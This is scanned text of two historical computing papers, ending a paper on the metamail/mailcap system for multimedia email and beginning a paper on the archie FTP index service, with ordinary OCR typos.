simply calls an external program like metamail, is not crucial. Some mail readers at a
given site might work one way, and some the other way. What is more crucial,
however, is that all the mail readers share a single configuration file mechanism, so
that all the mail readers at a given site can be extended to handle new mail types via a
common mechanism. Eventually, it is likely that users will gradually migrate to
integrated mailers that handle multiple media types quite seamlessly, but the
technique of modifying existing mail programs to be configurable for new media
types is, at a minimum, extremely useful as a transition strategy for making
multimedia mail widely available.

Mailcap Files:
Information

Encapsulating Multimedia Mail Configuration

The mechanism by which configuration information is conveyed to mail-reading
programs (or to an intermediate program such as metamail) is the most critical part
of the bottom-up approach. In order to permit multimedia mail to flourish in a
heterogeneous environment, it is crucial that a wide range of mail reading programs
should be able to share such a configuration mechanism. If a site administrator had
to change a different configuration file, with a different syntax, for each mail reader
at a site, it is unlikely that multimedia mail would ever work very well at sites that
run a wide variety of mail reading programs.

However, if such a configuration mechanism is to be shared by all mail readers, it
must be designed very carefully in order to insure that it provides enough
information for a diverse range of mail-reading interfaces. The information that
must be provided is not obvious without considering a range of mail readers.
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For example, .a relatively "low-end" mail reader, such as the Berkeley Mail program,
never does anything more complicated than show text to the user. If the user sets an
appropriate option, such text may be filtered through a paging program, such as the
unix "more" program, in order to keep it from scrolling too quickly off the screen. If
the Mail program is configured to run an external program for some non-textual
mail type, it wants to be able to tell that program to use a paging program if it is
going to produce large quantities of output. However, it cannot simply assume that it
is safe to send the output from such a program to a pager, because the program might
instead want to interact with the user, conducting a dialog on the screen with which
a paging program would substantially interfere. This might suggest that whether or
not to run "more" or some other pager is a function of the external program, rather
than of the mail program. This, too, is an oversimplification. Consider a window­
oriented mail reader, such as XMH, Andrew Messages, Xmail, or MailTool. If an
external viewing program produces large quantities of output when called from one
of these programs, such output should not be passed through a pager, because it is
being inserted directly into a scrollable window on the screen. On the other hand, if
the external program needs to interact with the user on a terminal, a terminal
emulator window needs to be created. In short, the situation is more complicated
than it looks. The answer, in this particular case, seems to be that a pager is desirable
only if it is appropriate for both the mail reading program and the external viewing
program. The former information can be taken care of by the mail reading program
(or, in the prototype implementation, by a command-line option to the metamail
program), but the latter information must be encapsulated in the configuration file.

The mailcap format used in the prototype implementation was the result of
considerable trial and error, and the resolution of the kind of problems described
above. A full specification of this format has been submitted as an Internet Draft, in
order to promote a widely-shared format for the configuration file. Those interested
in implementing a bottom-up mail reader, compatible with the ones described here,
should consult the Internet Draft for a complete specification of the file format and
location. In this paper, we include only a partial description, to give the reader the
flavor of the configuration format.

Configuration information is derived from a set of "mailcap" files, the location of
which can be derived from a path given as the MAILCAPS environment variable, for
which a standard default definition is also specified. Each mailcap file consists of
comments (lines beginning with "#") and mailcap entries. Each mailcap entry
(typically one line, although they can be continued on subsequent lines) describes
how one particular type of multimedia mail can be handled. For example, consider
this mailcap entry:

IMAGE/pbm; xloadimage -quiet -geometry +1+1 %s; nsb

·This specifies that if a message has a header field of "Content-type: IMAGE/pbm" (the
matching is case insensitive), then a file containing the body should be shown to the
user with the "xloadimage" command, with the options specified. The "nsb" is a
required field indicating the person who installed this mailcap entry locally. This
particular mailcap entry is minimal, in the sense that it only uses the three fields
that are required for each mailcap entry. However, additional fields are defined for
specifying additional information about the format. For example, a "needsterminal"
option specifies that a given application requires an interactive terminal, so that
before it is called from a window-based mail reader, a terminal emulation window
should be created:
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Application/ATOMICMAIL; atomicmail %s; nsb ; needsterminal

Similarly, a "copiousoutput" option can be used to indicate that the application
produces output that might be most appropriately passed through a pager such as
"more", depending on the windowing environment. Additional options can be used to
specify external mechanisms to print messages, or to compose new messages of this
type:

X-BE2; ezview %s; nsb; print=ezprint %s; compose = ez %s

The mailcap syntax is quite simple; the options relating to terminal characteristics
are the most complex part. The syntax is fully specified in [Borenstein, 1991b].

The Metamail Program

Given a well-defined mailcap file syntax, it is not too hard to modify any mail reading
program to handle non-text content types. It is simpler still, however, to modify
existing mail reading programs to simply pass non-text mail off to a separate
program entirely. This is the way the prototype implementation at Bellcore was
developed, with the resulting program known as "metamail."

The advantage of separating the mailcap-handling functions into a separate
program is that it simplifies the modifications to mail readers, and makes it easier to
develop such a system in the prototype phase, because it is simpler to change the one
program than to change all the mail readers each time a revision is called for. The
disadvantage is that it becomes necessary for mail readers to be able to convey
additional information about their situation to the metamail program.

In particular, mail readers need to be able to tell metamail whether or not it is
running on a terminal (the normal isattyO call is inadequate because some mailers
communicate with the window system via pseudoterminals), whether or not lengthy
output should be passed through a paging program, and so on. It is also useful for
mail readers to be able to tell metamail a few things about the format of mail
messages, such as whether they are in Internet format or consist of X.400-style
separate body and envelope information. (Metamail was designed to work with either
Internet or X.400 mail readers, although it has only been used with Internet mail
readers so far.)

Finally, the metamail program also assumes responsibility for recognizing and
acting upon the "Content-Transfer-Encoding" header field, as described in
[Borenstein and Freed, 1991]. This field provides a standardized mechanism for
encoding 8-bit and binary data for transmission via 7-bit SMTP mail. (SMTP, the
Internet mail transport standard, does not permit binary files, or any files with long
lines or 8-bit characters, to pass unchanged through mail transport. The Content-
Transfer-Encoding allows such data to be passed cleanly through Internet mail.)
Metamail undoes any 7-bit encodings before passing the data to a handler program,
so that mailcap-based format handlers do not need to know anything such encodings.

Despite all these complications, metamail remains a very small program, little more
than one thousand lines of C code, over a quarter of which is devoted to handling
Content-Transfer-Encoding. Its overall simplicity comes from the fact that it is
really nothing more than a switch: it knows nothing of any particular multimedia
type, but only knows how to read configuration files and call an appropriate external
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viewer for a given type. (There are a few exceptions to this: in particular, there is
built-in support for the content-types of "text/plain" and IImultipart," as defined in
[Borenstein and Freed, 1991]. However, even this built-in support can be overridden
by mailcap-specified handlers, if there is ever any reason to do so.

Also built-in to metamail is a rudimentary default behavior for unrecognized mail
types. For unrecognized types, metamail will offer to undo any 7-bit encoding and
write the resulting body or body part into an uncoded file, for further processing.
Although, in the absence of a proper mailcap entry, such further processing is not
automated, metamail at least provides the user with a version in which all traces of
mail transport -- notably the mail headers and any 7-bit transport encoding -- have
been completely removed.

The metamail program is publicly available, as explained in the note at the end of
this paper.

Deployment of the Prototype at Bellcore

The deployment of the prototype system at Bellcore has been completely successful in
one of its key goals: it has been accomplished with an absolute minimum of impact
on the existing user community, even in its earliest versions. The same cannot be
claimed of the deployment of the interpreters for specific content-types, as will be
mentioned later.

At Bellcore, modified versions of the following message-reading programs have been
installed in several separately-administered laboratories:

Berkeley Mail (four different versions)

Xmail (an X-based interface to Berkeley Mail)

Mailtool (a SunTools interface to Berkeley Mail)

Imail (an internal Bellcoremail reader)

PCS mail (another internal Bellcoremail reader)

MH (the Rand Message Handling System)

XMH (an X interface to MH)

Rmail (an Emacs mail-reading package)

VM (another Emacs mail-reading package)

Elm (a mail reading system from Hewlett Packard)

Msgs (the Berkeley simple bulletin board system)

Messages (the multimedia Andrew Message System)

CUI (dumb terminal interface to Andrew)
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Nearly all of these provided interesting lessons in the difficulty of creating a shared
multimedia infrastructure. Berkeley Mail was hard to deal with simply because it
comes in so many variants, many of which have been hacked at by too many
different people over the years. The Xmail and Mailtool programs were particularly
interesting because they operate by talking to the Berkeley Mail program over a
pipe, so that when Mail calls metamail, the latter program doesn't even have a
terminal on which to ask a question, and needs to open a terminal emulator window if
a question is required. The Emacs interfaces proved challenging environments in
which to run terminal-oriented programs, though this eventually proved possible
using an Emacs package that allows Emacs to act as a transparent conduit between the
application and the terminal. The Andrew interfaces were interesting because they
already knew how to handle certain Content-type values, and had to be modified to
call metamail only for unrecognized content-types. The bottom line, however, is that
it proved reasonably straightforward to modify each of these diverse programs to
display multimedia mail through the common mechanism of metamail/mailcap. (In
particular, it generally took the author no more than a day per mail reading
program. Although I was of course quite familiar with the use of metamail, I was
usually entirely ignorant of the internal code of the mail readers I was modifying.
Thus it seems likely that others can make similar modifications with comparable ease,
especially by using the existing patches as a starting point.)

After the first few releases, which exhibited the usual bugs and glitches, the
metamail software quickly became entirely transparent to the normal mail user's
daily work with textual email. It provided an infrastructure, however, on top of
which people could begin to experiment with more interesting forms of mail. Very
quickly, for example, it became possible to send multipart mail, containing text,
pictures, and audio, between two users in rema.kably different operating
environments. Such mail works smoothly, for example, between a user running
Berkeley Mail under the MGR window system and a user running Andrew Messages
under the XII window system. Figure 2 shows a user of Berkeley Mail, one of the
simplest and most primitive of text-only mail readers, reading a mail message that
includes a picture. .

One apparent mistake in the initial deployment, however, is worth mentioning. In
the first release, metamail ran the external viewing program automatically for the
user when he tried to read the mail. That is, the user would say the equivalent of
"show me the next message" and the next thing he knew, he would see a message
such as

metamail: Executing the xloadimage command to show you a picture...

Perhaps predictably, many users found this extremely disconcerting, and were not
entirely comforted at being told that there was an option that would cause metamail
to ask for their permission before running such programs. The default was changed,
in a subsequent release, to always ask before running external programs unless the
user had set the customization option that suppressed such questions.

Now that the system is installed and working smoothly, it would seem obvious to ask
whether or not it is proving to be useful. That question, however, is premature. The
fact that everyone can now read multimedia mail does not mean that most people, as
yet, have any ability to send such mail. Tools to make composing such mail easy for
casual users are still under development. Already, however, a few non-text messages
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are being sent regularly. Andrew users at Bellcore now feel much more free to send
richly-formatted Andrew messages to anyone else in the lab, since metamail has
been configured to show Andrew messages no matter what mail reader is being used.
A simple script has made it easy for Sun SPARCstation users to send voice mail. A
modified version of Berkeley mail has been developed that makes it easy for users of
the MGR window system to mix text, audio, images, and annotated window snapshots
in their mail messages. And specialized applications that use computation as a media­
type [Borenstein, 1991c] have made it easy for users to compose mail-based surveys,
in which the reader of the mail is engaged in a question/answer dialog and the
answers are delivered automatically via mail. As such tools improve and become
more widely available, we will begin to see whether or not a truly heterogeneous
text-only mail environment can evolve gradually and naturally into a multimedia
mail environment.

It is also worth noting that the process of modifying the various mail-reading
interfaces, though the modifications are small and self-contained, is cumbersome and
error-prone. It is a process that is unlikely to be taken up with alacrity by every
system administrator in the world. This, however, is not really the idea. The hope,
rather, is that the people or organizations supporting each mail reader will take the
necessary steps to support a mailcap-based facility in future releases of their
software, thus freeing local administrators of the need to modify the distributed
versions of the mail-reading software.

Performance and Usability

It would be misleading to claim that metamail provides a permanent solution to the
problem of multimedia mail. Quite the contrary, mail readers that have been
modified to use metamail compare rather unfavorably to mail readers that have been
built with integrated multimedia mail cin mind from the start. This was always the
author's expectation, and must be understood within the context of the transitional
role metamail is intended to play.

With integrated multimedia mail readers, such. as Andrew, Slate, Montage, Next mail,
and many others, multimedia mail messages appear naturally and as part of the
overall user interface. In Andrew, for example, the "message body" subwindow may
contain multifont text, images, and animations, all seamlessly integrated. With a
metamail-modified mail reader, in contrast, such a message might cause several new
and essentially unrelated windows to be opened on the user's screen. This is
undeniably less efficient and more confusing than the integrated approach.

It is not, however, unusable. Performance is determined largely by the startup speed
of the format-handling programs. For example, it is relatively easy to use metamail
to automatically invoke a word processor on data in .a specific word processor format.
For word processors that start quickly, this is in fact a reasonable approach. Some
word processors, however, try to take care of a great deal of things at startup time, so
that later editing performance is improved. This approach is anathema to metamail ,
and such word processors are quite unsatisfactory when used as mailcap-based mail
displaying programs. Because metamail must initiate a new process to view non-text
mail, the startup time of such processes is absolutely critical to the usability of the
system as a whole.

In the long run, it still seems reasonable to expect that most people will generally
prefer to use an integrated multimedia mail reading program than a text-oriented
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mail program that has been modified to use metamail. This, however, is the wrong
comparison to make. Experience with multimedia mail readers such as Andrew has
shown that it is often hard for individuals to see the benefits of switching to
multimedia mail. Especially at sites where multimedia mail remains unknown, there
is little incentive for individuals to change mail readers. Doing so inevitably
requires pain and effort, and as long as users only receive or expect to receive text
mail, there is little perceived benefit from the change.

Metamail serves largely to defer and delay the need to change mail reading software.
By giving people the ability to receive multimedia mail in their existing mail readers,
metamail makes it reasonable for pioneering individuals to start sending multimedia
mail more freely. If the users receive enough multimedia mail that they begin to
gripe about the klunkiness of the metamail approach, they then have the proper
incentive and understanding to consider switching to a more integrated multimedia
mail reader. Ultimately, most users will probably switch, but they can do so at a time
and pace of their own choosing, based in some measure on the frequency with which
they receive multimedia mail and the degree to which they find the non-integrated
approach undesirable.

The metamail approach thus should not be seen as competing with integrated systems
such as Andrew, Slate, Next, and the others, but rather as complementing them by
offering a transition path to a multimedia world. Integrated mail readers remain
more pleasant for receiving multimedia mail, and often provide the only path for
sending such mail. Metamail actually promotes the use of such systems by making
the multimedia mail they generate accessible to a larger number of users. Moreover,
even highly integrated systems can benefit from a hybrid strategy, using the
mailcap paradigm for unrecognized mail types. For example, the author has recently
modified the Andrew Message System so that it will provide well-integrated support
for the mail types it can recognize, but will read mailcap files and execute external
programs for new or unrecognized types of mail.

The Future of Email:
Denominator

Toward a New Lowest Common

Advanced multimedia mail systems such as Andrew and Diamond have shown the
attractiveness and value of multimedia mail, but have for the most part failed to win
over enough users to establish their high-level capabilities as part of the standard
user's environment. More than most other computer applications, mail is inherently
limited by the lowest common denominator. Unless nearly everyone with whom a
user exchanges email is able to properly handle advanced email types, the user is
unlikely ever to try to compose such types.

The real goal, then, for those who would have email live up to its potential, is to
create a new and higher-functionality lowest common denominator. A configurable
bottom-up approach, such as the metamail/mailcap system described here, provides a
transition path from the current world of text-only email to a future in which the
level of the lowest common denominator has been raised. But what will that raised
level be?

It is unlikely, for example, that a new lowest common denominator could include full­
motion video any time soon. Relatively few users have machines that are capable of
displaying such data, and even fewer are connected by networks that can offer the
requisite bandwidth. A more reasonable target, it would seem, for a new lowest
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common denominator would be a set of functionality that is accessible to nearly all
users of modem computer system. As such a new lowest common denominator, I
would propose the following four media types, along with auxiliary types such as the
"multipart" type that allows these to be combined arbitrarily:

1. Text. This is obviously already a reality. It seems plausible, in addition, to
make a simple version of richly-formatted multifont text widely available, too.
If the definition is simple enough, it will be a simple matter for a single-font
terminal to remove the formatting information and show only the raw text.
Thus a relatively portable version of formatted text could also become part of
the lowest common denominator, if suitably standardized. Such a simple rich
text format is defined in [Borenstein and Freed, 1991] and proposed as a
standard facility for Internet mail. That document also proposes mechanisms
to permit international text (text in multiple character sets) as a standard
capability of Internet mail.

2. Image. A growing percentage of computer users already work on
computers with bitmap screens that are capable of displaying digital images.
Moreover, nearly all such users are within shouting distance of a FAX
machine. It is not unreasonable, then, to imagine that all computer users
would have the capability to receive images in the mail; those without the
necessary display technology should be able to specify the phone number of a
FAX machine to which the image can be delivered.

3. Audio. Similarly, more and more computer have audio capability, and users
of computers that lack this capability are rarely far from a telephone, and
could reasonably expect to have the audio portions of their messages delivered
to the nearest telephone.

4. Computation. Recent research by the author [Borenstein, 1991c] has shown
that it is possible to define a computer programming language that is both safe
enough and portable enough to be executed automatically when received via
insecure email. Such programs, if defined in a suitably portable language, can
run on any computer terminal in the world. Thus it is not unreasonable to
imagine computation, in a suitably standardized language, as part of the new
lowest common denominator, allowing users to send each other messages that
interact directly with the recipients and take actions based on that interaction.

Crucial to the evolution of a new lowest common denominator is clear, concise, and
implementable standards. A recent Internet memo [Borenstein and Freed, 1991]
defines an interoperable set of mechanisms and formats that are intended to evolve
into such standards, and that seek to define a new lowest common denominator for
electronic mail. The bottom-up approach described in this paper is wholly
compatible with these mechanisms, though it is not the only possible way to
implement them.
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Figure 1 -- The Metamail "Bottom-Up" Architecture
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Note: For efficiency, in the current implementation, the "multipart" functionality
has been incorporated directly into the metamail program, so the above diagram
shows its architectural role but does not reflect this one aspect of the program
structure.
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Abstract
The huge size and continued rapid growth of the Internet offers a particular challenge to systems design­

ers and service providers in this new environment. Before a user can effectively exploit any of the services offered
by the Internet community or access any information provided by such services, that user must be aware of both
the existence of the service and the host or hosts on which it is available. Adequately addressing this "resource dis­
covery problem" is a central challenge for both service providers and users wishing to capitalize on the possibili­
ties of the Internet This paper describes archie, our attempt at an on-line resource directory service for an
intemetworked environment

The current implementation of archie automatically indexes and makes available all filenames stored at known
anonymous FfP sites. The filename information is updated automatically ensuring users access to authoritative
information. The system also makes available the names and descriptions of several thousand packages found on
the Internet.

1. What is archie?

The archie system is designed to automatically build, maintain and make available databases of informa­
tion to users of the Internet. The system was originally created to track the contents of anonymous FTP archive
sites, and now makes available to users the name and location of all files available at some 900 such sites across
the net.

The current implementation of archie makes available two databases. The first, the filenames or files database,
lists the names and locations of files at archive sites that provide anonymous FTP archive access. Altogether this
database currently makes available the names of approximately 1,500,000 files totalling some 92 Gigabytes of
information. Queries to this database can be issued, allowing the user to search for specific file names (using a vari­
ety of matching strategies), list specific site names or dump the contents of specific sites. Entries in the files data­
base are generated and updated automatically using the archie server system described in this paper. We claim that
the archie files database is "authoritative" in a strong sense. If an entry in the database claims that a file appears at
a particular site, it is because an entry corresponding to that file was actually obtained from that site the last time
that site listing was updated.

The second database, the package description or whatis database, contains the names and descriptions of approx­
imately 3,500 different software packages, documents and other information available on the Internet. These
entries are organized as simple keywords and associated short descriptions upon which users can perform case­
insensitive text string searches. These searches apply to both the keywords and the associated descriptions, so
users have no need to assume any knowledge of the database structure or its contents when seeking description
information. Entries in the whatis database usually correspond to files available through anonymous FTP, but this
does not always have to be the case. Entries are simple text strings and can be added or changed easily.

Currently the information for this database is not generated automatically, and is thus not authoritative in the same
sense as the files database. Rather, this information is gathered from secondary sources such as Usenet postings,
email submissions by authors, etc. and entered into the database by hand. This is one of many areas in the archie
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system that would benefit from additional automation and work in this area is planned.

There are now nine archie servers on the Internet. Five servers provide general access to the entire Internet com­
munity. These are based in Canada, the U.S., Finland and Australia. Four additional servers are available to certain
communities where limited network bandwidth or other considerations force users to limit general network access.
These operate in Japan, New Zealand, Israel and Great Britain. Additional servers are also planned to improve
accessibility and allow specialized indexing services. For further details, refer to the section Future Work.

The archie system has been described as a "low-tech solution" to the problem of resource discovery and the
description is an accurate one. We have chosen to implement a basic information indexing system that monitors
resources using existing mechanisms (such as the convention of anonymous FTP archive sites). Access is provided
using standard Internet facilities, including telnet(1) and email.

In operation, the archie service require no input from the managers of the tracked archive sites (although there are
steps that a site administrator can take to make our life easier which will be discussed later).We have also
attempted to provide universal access to the system. Currently, users can connect to an archie server through tel­
net(1), send requests via electronic mail, or through stand-alone clients using a Prospero file system interface.
There are no restrictions on who can use the system, and there is no charge for the service.

Throughout the design and development of archie the system has been made available to users, and their feedback
and comments were invaluable in shaping the project. We have always worked under severe limitations on availa­
ble resources (the archie project is not yet funded by anything other than volunteer labour and equipment). In such
an environment user feedback has been a great help in determining direction fpr what little development time and
effort we have had available.

We believe that the basic design elements of archie, minimizing our demands on archive site administrators, pro­
viding universal access through a variety of access methods and close cooperation with our user community to
shape future development, were all major contributors to the success of the pilot implementation.The archie sys­
tem is a project of limited scope, built and operated using a modest amount of resources. We believe that its suc­
cess demonstrates the feasibility of building such services in an incremental fashion using readily available tools.

2. Design Goals

In this section we present a brief overview of the general design goals that drove the archie project from
its inception.

• Provide rapid location of, and access to, information through proactive data gathering.

In essence, the archie system is a simple resource discovery service that helps users find things on the net.
In its most basic form, we have managed to address at least part of the resource discovery problem by incorporat­
ing knowledge about the network into a single "smart" tool, so that users can concentrate on functionality, not
mechanics. This simple model guides our work.

The basic architecture of the archie system was defined by the authors in early 1990, when one of us (Emtage) cre­
ated the first scripts to automate the fetching of site listings for anonymous FTP archive sites. This was followed
shortly after when the other (Deutsch) suggested that we add an interactive front end to allow users to access this
collection of data without a user code on the host system. This first front-end provided the capability of executing
a regex(3) search on the files directly.

The generalization of this basic system is an architecture that permits the archie system to gather information from
a variety of sources, collate and make this information available to users across the network. Although we have not
had the time or resources to develop this idea to track additional collections of information as quickly as we would
have hoped, we believe that it holds out great promise as a model for Internet service providers and it continues to
guide our on-going work.

• Provide universal access to alllntemet users.

From the beginning it was decided to allow full access to all Internet users. This has presented us with
serious problems, since we have not yet been able to adequately address the problem of funding and support for
such a service, but fortunately to date we have been able to use the early and ongoing acceptance by users to per­
suade others to donate equipment, time or network connectivity. It is hoped that in the long run suitable funding
can be obtained to allow us to continue to satisfy this goal as the system continues to grow in popularity.
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• We required a "simple" design, easy to implement and explain for first time users.

The basic goal of the initial system, as implemented and deployed, was to become a simple network serv~

ice provider. Ideally, someone would be able to use our system to locate and access information without having a
great deal of computing or networking knowledge, much as they can use a telephone without knowledge of elec~

tricity or switching technology.

We believe that this simple model has contributed to the success of archie, and thus our ability to continue to find
volunteers and other resources. More complex systems offer the promise of greater functionality, but the archie
system has now been deployed and used by network users for over a year and a half and it continues to grow in
popularity. We believe that there is some merit in its simplicity.

• Minimize operational dependence upon others.

The number of sites tracked and the volunteer nature of many of those sites has made it impractical for us
to require any interactions with anonymous FfP site administrators to ensure that the system would work. We have
often explained this by saying that if we must require the cooperation of 900 volunteers spread across the Internet
to make something happen then the system would be doomed. We simply did not have the resources to coordinate
and communicate with that many people.

By using existing networking tools and mechanisms for obtaining our raw listings and gathering the names of
additional archive sites from ordinary users and other volunteers we were able to start providing a useful service
right from the beginning, with little interaction with site administrators. Although the level of interaction with
some sites has grown (many sites now provide an "ls-IR" file that we can use, initially only a fraction did) we are
still able to provide complete coverage of a site with little more than an email message informing us of its exist~

ence.

• Low access "entry cost" for users.

Most sites that are directly connected to the Internet offer telnet(1) capability. The great majority of the
remainder can send and receive electronic mail. With these two basic mechanisms we were able to satisfy our twin
goals of universal accessibility and low entry cost.

This does not rule out the use of better front-ends as they became available, but we have undertaken to always pro­
vide some basic measure of telnet and email connectivity, since we believe that this is of benefit to the greatest
number of users. ~

• Low development cost.

The archie system was built as a part-time project on borrowed equipment using only student and other
volunteer labour. The limitations and directions this imposed are reflected in many of the design decisions we have
made. The various components of the archie system were all built using standard UNIX tools, and successively
refined and improved as we gained operational experience. This feedback during the development phase proved
invaluable in allocating scarce development resources to features and changes that would provide maximum bene­
fi t to our user community.

Elegant, but time consuming solutions were always passed over for expedient ones on the understanding that we
needed to minimize programming and design effort. This has in many cases resulted in "computational expensive"
solutions, where we use brute force and overnight machine cycles to compensate for non-optimal algorithms. We
offer no apologies for this approach, although we do hope to one day have the opportunity to re-implement some of
these decisions with fewer constraints. Even if we cannot, we have a usable service, available today. We take pride
in that.

• Don't be afraid to spend cycles.

In a number of cases, we have elected to use runtime resources to replace scarce development resources.

At the same time, we were conscious of the need to preserve network bandwidth: Montr6al has a relatively low­
speed link to the Internet backbone and the current site updating algorithm and other operating practices ensure
that the archie server is actually a fairly benign network resident. The biggest problems have related to the sheer
volume of query traffic generated by our users. Additional servers have helped address this concern.
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Figure 1
The Archie System Components
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3. Related Work
There have been a number of different information discovery and delivery paradigms developed. The

Domain Name System [1] was designed primarily to perform translation from fully qualified domain names to IP
addresses, DNS is also used to distribute information about host hardware, operating systems configurations and
electronic mail exchanger addresses, among other uses.

The Domain Name System has been an operational success. Figures released by SRI show over 530,000 host­
names registered with DNS as of October, 1991 and this number grew by 40 percent in the period from June to
October of that year [2].

Despite its success, there are problems with DNS. Maintenance of the system is distributed, with the required
information entered into flat text files (usually by hand) at the site of each authoritative subdomain server. This can
lead to inconsistencies and errors in the database that can only be corrected through human intervention. There is
no internal consistency checking of this information by the system itself (for example, to verify that registered
hosts actually exist on the net).

Another problem can arise during operation. If the authoritative server for a particular subdomain becomes
unreachable then users will find that they cannot perform hostname to address conversion. In this case, users can
find themselves unable to access a host, even though that particular host is available. The problem can be alleviated
by the used of suitably chosen replicating servers (or by using the IP address itself, where it is known) but the con­
figuration and operation of these replicated servers is not automatic and is again prone to human error.

Despite these drawbacks, DNS illustrates the feasibility of large network-based database server applications in an
Internet environment

Distributed file systems such as NFS [3] and Prospero [4] allow site administrators to distribute file systems across
multiple hosts in a network environment.

Among other features, the Prospero file system (actually one component of the larger Prospero virtual computing
environment now under development) provides the capability of creating customized views of available files
through user specified links. Such a customized view can then, in turn, be exported and accessed by others.

This configuration information is itself a form of ''value added" processing of the file system information over and
above the contents of the individual files themselves. This ability to create and share such customized views holds
great promise for reducing the indexing information needed for anyone user of the system.

Public domain implementations of both client and server programs are available for Prospero and a number of sites
are providing data through Prospero servers. Clients exist for a number of environments. For further information
on the Prospero system, you can send email to in!o-prospero-request@isi.edu.

Internet white pages directory services [5] are intended to provide the on-line equivalent of a white pages phone
book. Such services are intended to provide users with access to user login names, email addresses and other con­
tact infonnation. A White Pages Directory Service project based upon the X.500 protocol is described in [6].

Although the X.500 system provides a model for a hierarchical directory service, there are currently some prob­
lems with serving dynamically changing data, such as represented by the contents of archive sites, Usenet news­
groups, etc. An interesting project would be to wed an X.500 server with an automatically updated database system
such as archie. Although we do not have time for this in the short term, we are studying the idea for the future.

Work on the X.500 project is carried out through a number of fora, including the Internet Engineering Task Force,
ISO standards committees and the U.S. government GOSIP program.

The Wide Area Information System (WAIS) is an example of a network-based document indexing system that has
proved useful for accessing large collections of textual data [7]. This system, based upon the ANSI Z39.50 proto­
col standard, provides an indexing and search mechanism that allows the user to rapidly perform keyword searches
on documents that can be tens or hundreds of megabytes in size. The WAIS system can locate the desired key­
words and then return the appropriate portion of the document to the user's machine.

Public domain implementations of both client and server programs are available and they exist for a number of
environments. A number of sites are now providing data to the Internet through WAIS servers.

The WorldWideWeb system [8] extends the model of document servers to include the use of hypertext links in a
network ofdocument servers. Again, publicly available implementations exist.
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Mike Schwartz of the Univerisity of Colorado at Boulder heads the Internet Research Task Force working group
on resource discovery. This group is chartered to investigate research problems in this area and has been working
with the authors to this end.

3.1. The role ofarchie in an Internet Publishing System
When we began work on the archie system there were no similar directory indexing services on the Inter­

net with which to compare our work. We have therefore spent a certain amount of time seeking to articulate the
role of the archie paradigm in an Internet information delivery architecture, contrasting it with such services as
WAIS, Prospero, or the X.SOO white pages directory service.

The basic paradigm for archie, as we now define it, is that of a "cycle server", in which the user can make requests
to have searches performed on their behalf. This functionality is available in such systems as WAIS or X.SOO (or
even DNS), but the distinguishing feature of archie is that the databases to be searched are themselves culled from
a huge range of sources (which can remain hidden from the user) and the information is updated automatically, so
users can have a high degree of confidence in the authority of the information served.

We assign to the archie system the role of "magazine publisher" in an Internet publishing environment.The role of
a magazine publisher is to cull, sort, edit and organize information in a specific domain for some intended audi­
ence, removing inappropriate material while preserving suitable subject matter, formatting it and presenting it in a
useful manner to the readership.

This role as an active editing and processing agent for readers is exactly the role we seek for archie, and it perhaps
mostly closely resembles the user configured file views of the Prospero system. In the case of archie, this editing
function has to a certain degree been automated, which frees users from a great deal of the resource discovery
problem, allowing them to concentrate on content, not mechanisms.

We believe that the marriage of such services as Prospero, WAIS, X.SOO and archie offers the possibility of signif­
icant advance in network based information services. Identifying the role and strengths of the various components
remains an interesting research topic.

4. Architectural Overview
The archie system offers the user a simple model for building, maintaining and accessing a set of infor­

mation databases in an Internet environment (see Fig. 1). The entire system currently consists of only three major
subsystems, including the Data Gathering Component (DGC), the Database Maintenance Component (DMC) and
the User Access Component (UAC).

Currently, the DGC and DMC are used only to maintain the files database. The whatis database is maintained
entirely by hand, although both are accessed through the same UAC channels. As mentioned previously, this is
regarded as a serious shortcoming and will be changed in a coming release.

4.1. Data Gathering Component
The DGC is a fairly simple subsystem, consisting of standard UNIX shell scripts that are executed every

24 hours using the UNIX cron(1) facility. These scripts are used to connect to each monitored site, in tum, to fetch
a recursive listing of the site's contents. This information is written to a "raw site listing" file on the archie server
host, one for each site tracked.

Any number of strategies could be used to control the frequency of site updates. On the prototype archie server in
Montr~al we use a simple round-robin algorithm, cycling through the entire list of sites about once a month. This
scheme was chosen for its simplicity and to assure site administrators and network powers-that-be that the archie
system would not constitute an unwarranted drain on their resources.

Unfortunately, this simple updating strategy also means that some site infonnation in the files database will be as
much as 30 days out ofdate. Fortunately, few sites actually undergo radical change from month to month,and since
a 30 day update cycle corresponds to 15 day average latency for the database as a whole, this has proved accepta­
ble in practice.

Other archie servers use more complicated updating schemes. As an example, the Australian archie (archie.au)
server operated by AARnet currently cycles through all Australian archive sites every night, but tracks overseas
sites by mirroring them synchronously from Montr~. This reduces the load somewhat on the heavily used trans-
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Pacific link yet assures timely tracking of changes to those sites most visited by their users. The Australians also
mirror a number of the most popular archived files onto a local archive to reduce the need for trans-oceanic access.

Since the archie site updating algorithm is implemented using a simple shell script and the cron{1) utility, changing
the scheduling algorithm or frequency of updates is a relatively straightforward procedure, and we have seen a
variety of techniques in this area among the archie site administrators. Balancing the need for accuracy and cur­
rency in the databases, the cost of gathering data and the cost of performing database site updates is currently done
using empirical estimates and our previous experience with the system. We believe it is an area that would benefit
from further study in the coming months.

Now that there are multiple archie sites, we will also have to begin addressing the issue of maintaining consistency
between archie servers, with the twin goals of ensuring accuracy of the multiple databases and minimizing net­
work bandwidth. We are currently working with individual archie site administrators to investigate mirroring and
update strategies. Work in this area is expected to continue.

4.1.1. The site listings files
The recursive site listing is normally performed during the fetch operation by the UNIX ftp{1) client

(using the "dir -R" command), but in many cases the site administrator has prepared a preprocessed listing in
advance. Where such an "ls-IR" file is available and viable we will take this file rather than performing the listing
ourselves. The result is a set of "raw listings files" that are then made available to the DMC for processing and
insertion into the database. They are also available from the archie server via anonymous FfP. Although their
worth to users is somewhat questionable, they are thus available for copying by other archive sites.

In many cases the "ls_IR" file is unusable, in other cases the file is corrupt and requires additional processing before
it can be made usable. Site listings are often not rooted in the FfP home directory and many files contain errors
generated by the ls(1) or "dir" command. We also encounter cases where the file has been edited by hand and the
resulting infonnation is inconsistent.

4.1.2. The Site Descriptions Database
Operation of the DGC is controlled through a Site Descriptions Database (SDD) that lists each anony­

mous FfP site that we have discovered, along with additional information such as the operating system in use at
that site, whether a site is capable of providing a usable "ls-IR" file, commands to issue to the ftp(1) session during
the fetch and whether we are currently tracking that site.

Currently the SDD is maintained entirely by hand. This is one of a number of pieces of archie that would benefit
considerably from automation as time arid resources permit. We also plan to make such site information available
as an additional archie database in a future release. This would include a description of the site, access and storage
policies, etc. Users would be able to search these entries in a manner similar to the whatis database entries.

4.1.3. Discovering New Sites

As there is still no generalized resource discovery or registration mechanism on the Internet we continue
to rely on site administrators or users to report new sites to us. This has become easier as we have become better
known, and we currently are aware of some 1,200 anonymous FfP sites on the Internet, although due to difficulties
